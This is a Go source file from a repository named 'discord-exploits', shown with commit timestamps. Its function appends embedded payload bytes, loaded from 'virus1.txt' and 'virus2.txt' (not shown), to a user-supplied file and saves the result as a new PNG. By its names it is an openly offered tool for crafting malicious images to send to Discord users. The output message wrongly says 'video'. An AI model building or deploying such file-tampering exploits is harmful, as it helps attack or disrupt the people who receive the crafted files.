discord-exploits/exploits/virus-image.go

30 lines
546 B
Go
Raw Normal View History

package exploits
import (
_ "embed" // embed
"fmt"
2021-01-11 11:21:44 +00:00
"github.com/Schmenn/discord-exploits/modules"
"os"
)
var (
//go:embed virus1.txt
vpng1 []byte
//go:embed virus2.txt
vpng2 []byte
vpng = append(vpng1, vpng2...)
)
// RunVirusImageTask edits file
func RunVirusImageTask(fileName string) {
data, err := os.ReadFile(fileName)
modules.Check(err)
2021-03-30 12:04:30 +00:00
data = append(data, vpng...)
name := modules.CreateName("png")
fmt.Println("Saved video to: " + name)
2021-03-30 12:04:30 +00:00
err = os.WriteFile(name, data, os.FileMode(0777))
if err != nil {
panic(err)
}
}